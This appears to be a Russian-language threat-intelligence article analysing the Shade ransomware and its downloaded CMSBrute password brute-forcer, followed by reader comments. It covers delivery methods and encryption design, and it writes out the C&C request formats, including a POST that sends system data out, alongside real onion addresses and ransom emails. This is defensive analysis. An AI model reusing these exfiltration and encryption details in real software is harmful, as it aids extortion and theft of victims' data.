Семейство троянцев-вымогателей, шифрующих файлы и добавляющих к ним расширения «.xtbl» и «.ytbl», появилось в конце 2014 – начале 2015 года и довольно быстро заняло устойчивую позицию в тройке наиболее распространенных в России шифровальщиков (наравне с Trojan-Ransom.Win32.Cryakl и Trojan-Ransom.BAT.Scatter). По классификации «Лаборатории Касперского» эта угроза получила вердикт Trojan-Ransom.Win32.Shade. «Авторское» название данного шифровальщика неизвестно; другие антивирусные компании детектируют его под именами Trojan.Encoder.858, Ransom:Win32/Troldesh.
Эволюции троянца практически не наблюдается: меняются лишь формат имени зашифрованного файла, адреса C&C и набор ключей RSA.
Нам известны два основных способа доставки данного зловреда на компьютер жертвы – спам-рассылки и эксплойт-киты (в частности, Nuclear EK).
В первом случае жертва получает письмо, в которое вложен исполняемый вредоносный файл. Заражение системы происходит после попытки открыть вложение. При распространении Trojan-Ransom.Win32.Shade использовались следующие имена файлов:
- doc_dlea podpisi.com
- doc_dlea podpisi.rar
- documenti_589965465_documenti.com
- documenti_589965465_documenti.rar
- documenti_589965465_doc.scr
- doc_dlea podpisi.rar
- не подтвержден 308853.scr
- documenti dlea podpisi 05.08.2015.scr.exe
- akt sverki za 17082015.scr
Отметим, что имя файла меняется при каждой волне рассылки, и возможные варианты не ограничиваются перечисленными выше.
Второй способ распространения (эксплойт-кит) более опасен, поскольку заражение происходит без участия пользователя, когда жертва посещает скомпрометированный веб-сайт. Это может быть как сайт злоумышленников, так и вполне легальный, но взломанный ресурс. Чаще всего пользователь не знает, что сайт представляет собой какую-то опасность. Вредоносный код на сайте эксплуатирует уязвимость в браузере или его плагинах, после чего в скрытном режиме в систему устанавливается целевой троянец. В этом случае, в отличие от спам-письма, от жертвы даже не требуется запускать исполняемый файл.
После того как Trojan-Ransom.Win32.Shade попал в систему, он соединяется с C&C, располагающимся в сети Tor, рапортует о заражении и запрашивает открытый ключ RSA-3072, который впоследствии использует при шифровании файлов (как именно, рассмотрим ниже). Если вдруг соединение не удалось установить, зловред выбирает один из 100 открытых ключей, содержащихся в его теле как раз для такого случая.
Затем троянец приступает к шифрованию файлов. При поиске объектов шифрования он пользуется статическим списком расширений, представленным на скриншоте.
Когда шифрование завершено, на рабочий стол устанавливается устрашающая картинка:
Требования выкупа зловред оставляет в файлах README1.txt, …, README10.txt. Их содержимое всегда имеет один и тот же вид:
Однако, в отличие от большинства других шифровальщиков, на этом Trojan-Ransom.Win32.Shade не останавливается. Он не завершает свой процесс, а запускает бесконечный цикл, в котором запрашивает от C&C список адресов вредоносного ПО, а затем скачивает и устанавливает это ПО в систему – такой функционал характерен для ботов-загрузчиков. Нами были выявлены факты скачивания представителей семейств:
- Trojan.Win32.CMSBrute (о нём подробнее мы расскажем ниже).
- Trojan.Win32.Muref
- Trojan.Win32.Kovter
- Trojan-Downloader.Win32.Zemot
Код цикла скачивания и ожидания:
В связи с этим очень важно провести полную антивирусную проверку компьютера в случае обнаружения шифровальщика Shade (либо результатов его работы – файлов с расширениями .xtbl, .ytbl). Если не провести лечение, высока вероятность того, что система останется заражена несколькими различными вредоносными программами, скачиваемыми данным шифровальщиком.
Общие черты троянцев семейства Shade
- Написан на C++ с применением STL и собственных классов.
- Статически слинкован с клиентом Tor.
- Использует библиотеки boost (threads), curl, OpenSSL.
- В каждый сэмпл зашит адрес одного сервера C&C, всего в разных образцах были найдены адреса 10 C&C серверов, 8 из которых активны в настоящее время. Все серверы расположены в сети Tor.
- Все строки (вместе с именами импортируемых функций) зашифрованы алгоритмом AES, расшифровываются при старте программы, после чего происходит динамическое заполнение таблицы импорта.
- Перед установкой своих обоев сохраняет старые обои в реестре.
- Обычно упакован UPX и дополнительным упаковщиком, в распакованном виде имеет размер 1817 КБ.
- На зараженном компьютере создает 10 одинаковых файлов README1.txt, … README10.txt с требованиями выкупа на русском и английском языках.
- Для шифрования содержимого каждого файла и имени каждого файла генерируется уникальный 256-битный ключ AES, шифрование осуществляется в режиме CBC с нулевым начальным вектором.
- Содержит 100 публичных ключей RSA-3072 с открытой экспонентой 65537 (всего в разных сэмплах было обнаружено 300 различных публичных ключей).
- Имеет функционал скачивания и запуска вредоносного ПО.
Криптографическая схема
Генерация id зараженного компьютера
- Троянец получает имя компьютера (comp_name) с помощью API-функции GetComputerName и число процессоров (num_cpu) с помощью API-функции GetSystemInfo;
- на основе серийного номера системного тома вычисляет 32-битную константу и конвертирует в hex-строку (vol_const);
- получает данные о версии ОС (os_version), разделенные символом “;” (например, “5;1;2600;1;Service Pack 3”);
- формирует строку comp_namenum_cpuvol_constos_version;
- вычисляет MD5 от этой строки;
- конвертирует MD5-хэш в hex-строку и берет из нее первые 20 символов. Полученный результат используется в качестве id компьютера.
Получение ключевых данных
После генерации id осуществляется попытка подключиться с C&C серверу, находящемуся в сети Tor, отправить ему id компьютера и в ответ получить публичный RSA-ключ. В случае неуспеха выбирается один из 100 зашитых в троянце публичных RSA-ключей.
Шифрование файлов
Для шифрования файлов применяется алгоритм AES-256 в режиме CBC. Для каждого кодируемого файла генерируется два случайных 256-битных ключа AES: один используется для шифрования содержимого файла, второй – для шифрования имени файла. Данные ключи помещаются в служебную структуру key_data, которая сама шифруется выбранным ключом RSA (занимает 384 байта после зашифрования) и помещается в конец кодируемого файла:
В синтаксисе языка C данную структуру можно записать следующим образом:
Троянец пытается переименовать закодированный файл, выбирая в качестве нового имени результат вычисления Base64(AES_encrypt(оригинальное имя файла)).xtbl (например, ArSxrr+acw970LFQw.xtbl), а в случае неуспеха просто дописывает к оригинальному имени файла расширение .ytbl. В более поздних версиях перед расширением .xtbl стал приписываться id зараженного компьютера, например: ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.
Коммуникация с командным сервером
В теле троянца содержится адрес одного сервера C&C. Сами серверы находятся в сети Tor, коммуникация с ними осуществляется с использованием статически прилинкованного к троянцу клиента Tor.
Сэмпл отправляет следующие запросы на C&C сервер:
-
Запрос нового публичного ключа RSA:
GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
ID – идентификатор зараженного компьютера;
build – идентификатор конкретного сэмпла зловреда;
version – версия зловреда, были встречены версии 1 и 2;
stage обозначает этап шифрования – запрос нового публичного ключа RSA или сообщение о завершении шифрования файлов. -
Сообщение об ошибке:
GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
error – base64-закодированное сообщение о произошедшей при шифровании ошибке. -
Сводка о текущей стадии работы шифровальщика:
GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
count – текущее количество зашифрованных файлов;
finish – флаг окончания шифрования. -
Информация о системе:
POST http://<server>.onion/sys.php?i=ID&b=build&v=version&ss=stage&c=count&k=key_number&si=info
key_number – номер выбранного ключа RSA (в случае, если ключ не был получен от сервера, а был выбран из содержащихся в теле зловерда);
info – информация, полученная с зараженного компьютера:- Имя компьютера
- Имя пользователя
- IP-адрес
- Домен компьютера
- Список логических дисков
- Версия ОС Windows
- Список установленного ПО
-
Запрос списка URL-адресов, с которых требуется скачать и запустить дополнительное вредоносное ПО:
GET http://<server>.onion/cmd.php?i=ID&b=build&v=version
Распространение шифровальщика
Партнерская программа
Код, который пользователям предлагается отправить по электронной почте злоумышленникам, может иметь вид ID|0 в случае, если публичный ключ был получен с C&C сервера, или ID|key_number|build|version в случае, если был выбран один из зашитых в сэмпл публичных ключей RSA с номером key_number. ID обозначает идентификатор зараженного компьютера, а два числа build и version обозначают ID конкретного сэмпла и версию шифровальщика соответственно.
При анализе образцов зловреда нами были обнаружены различные комбинации значений build, адресов почты для связи пользователей со злоумышленниками и адресов C&C. Разным значениям build соответствуют разные почтовые адреса, при этом один и тот же C&C может обслуживать несколько разных сэмплов:
build | C&C | |
2 | a4yhexpmth2ldj3v.onion | files1147@gmail.com post100023@gmail.com |
2 | a4yhexpmth2ldj3v.onion | decode0987@gmail.com decode098@gmail.com |
4 | a4yhexpmth2ldj3v.onion | decodefile001@gmail.com decodefile002@gmail.com |
6 | a4yhexpmth2ldj3v.onion | files08880@gmail.com files08881@gmail.com |
2 | e4aibjtrguqlyaow.onion | decodefiles1@gmail.com decodefiles@india.com |
15 | e4aibjtrguqlyaow.onion | post8881@gmail.com post24932@gmail.com |
12 | gxyvmhc55s4fss2q.onion | decode00001@gmail.com decode00002@gmail.com |
14 | gxyvmhc55s4fss2q.onion | decode010@gmail.com decode1110@gmail.com |
4 | gxyvmhc55s4fss2q.onion | deshifrovka01@gmail.com deshifrovka@india.com |
Мы зафиксировали распространение разных сэмплов двух версий шифровальщика. При этом каждому конкретному образцу одной и той же версии зловреда соответствовала уникальная комбинация build-email (ID конкретного сэмпла и адреса для связи со злоумышленниками).
Хотя объявлений о партнерстве найдено не было, на основе этих данных мы можем предположить, что распространение троянца и прием выкупа осуществляются через партнерскую сеть. Вероятно, ID сэмплов (значение build) и разные почтовые адреса соответствуют различным партнерам-распространителям данного вредоносного ПО.
География
Наиболее распространены случаи заражения данным троянцем на территории России, Украины и Германии. По данным KSN, география распространения Trojan-Ransom.Win32.Shade выглядит следующим образом.
Россия | 70,88% |
Германия | 8,42% |
Украина | 6,48% |
Австрия | 3,91% |
Швейцария | 2,98% |
Польша | 1,45% |
Казахстан | 1,20% |
Беларусь | 1,07% |
Бразилия | 0,55% |
Загружаемое вредоносное ПО: троянец-брутфорсер паролей к веб-сайтам
Среди вредоносных программ, которые скачивает Trojan-Ransom.Win32.Shade, встречается троянец-брутфорсер паролей к web-сайтам. По своей внутренней организации брутфорсер очень напоминает самого шифровальщика – наиболее вероятно, он является проектом тех же авторов. Скачиваемый зловред получил вердикт Trojan.Win32.CMSBrute.
Общие черты семейства CMSBrute
- Написан на C++ с применением STL и собственных классов.
- Статически слинкован с клиентом Tor.
- Использует библиотеки boost (threads), curl, OpenSSL.
- В каждый сэмпл зашит адрес одного сервера C&C, всего в разных сэмплах были найдены адреса трех C&C серверов. Все C&C находятся в сети Tor, они отличаются от адресов, встреченных в образцах Trojan-Ransom.Win32.Shade.
- Все строки (вместе с именами импортируемых функций) зашифрованы алгоритмом AES, расшифровываются при старте программы, после чего происходит динамическое заполнение таблицы импорта.
- Обычно упакован UPX, в распакованном виде имеет размер 2080-2083 КБ.
- Копирует себя в одну из директорий диска C с именем csrss.exe.
- Скачивает дополнительные dll-плагины. Плагины содержат код для определения установленной системы управления контентом (CMS) на атакуемом веб-сайте, поиска админ-панели и подбора паролей. Были обнаружены плагины, поддерживающие сайты на основе Joomla, WordPress и DataLife Engine.
Коммуникация с командным сервером
В каждом образце Trojan.Win32.CMSBrute содержится адрес одного сервера C&C. Серверы находятся в сети Tor, коммуникация с ними осуществляется с использованием статически прилинкованного к троянцу клиента Tor.
Сэмпл отправляет следующие запросы на C&C сервер:
-
Регистрация нового бота:
GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
ID – идентификатор зараженного компьютера; вычисляется по алгоритму, незначительно отличающемуся от такового в шифровальщике Shade;
build – идентификатор конкретного сэмпла зловреда; был встречен только build 1;
version – версия зловреда; была встречена только версия 1;
stage – этап работы троянца. -
Запрос на получение URL-адресов для скачивания или обновления плагинов-dll
GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins -
Запрос задания на определение CMS на сайте и проверки логинов и паролей:
GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
plugins – версии установленных плагинов-dll.
Ответ от сервера приходит в формате json и содержит адреса атакуемых сайтов и словарь для подбора паролей. -
Отправка отчета о брутфорсе:
POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
report – json-строка, содержащая отчет о найденных СMS на веб-сайте и подобранных логинах и паролях от админ-панели.
Рекомендации
В случае Trojan-Ransom.Win32.Shade актуальны все ставшие уже традиционными советы по противодействию шифровальщикам. Подробные инструкции можно найти по адресам:
https://support.kaspersky.ru/12015#block2
https://support.kaspersky.ru/10952
Если компьютер уже пострадал от данного троянца, чрезвычайно важно провести полное сканирование и лечение антивирусным продуктом, т.к. Trojan-Ransom.Win32.Shade скачивает и устанавливает в скомпрометированную систему вредоносное ПО нескольких различных семейств, указанных в начале статьи.
Приложение
При подготовке статьи исследованы следующие образцы:
Вердикт | MD5 |
Trojan-Ransom.Win32.Shade.ub | 21723762c841b2377e06472dd9691da2 |
Trojan-Ransom.Win32.Shade.ui | bb159b6fe30e3c914feac5d4e1b85a61 |
Trojan.Win32.CMSBrute.a | 543d1620ce976cb13fec190ccc1bc83a |
Шифровальщик Shade: двойная угроза
mike 1
Возможно есть и третий способ заражения этим шифровальщиком, а именно через Adware.
fedor
помогите пожалуйста расшифровать! Ваши файлы были зашифрованы.
Чтобы расшифровать их, Вам необходимо отправить код:
7F5A9235A2E5DA29715F|0
на электронный адрес files100005@gmail.com или files100006@gmail.com .
Далее вы получите все необходимые инструкции.
Попытки расшифровать самостоятельно не приведут ни к чему, кроме безвозвратной потери информации.
Мимокрокодил
Проще обратиться в саппорт
http://support.kaspersky.ru/
Александр
Вчера получил такое письмо, было написано что-то типо — Вы не оплатили товар, и был приложен файл в архиве 9098oplata.gz. Файл- 9098oplata.scr. Будьте бдительны! Антивирус сразу не заорал что это вирус, только после того как я его отправил на проверку вручную…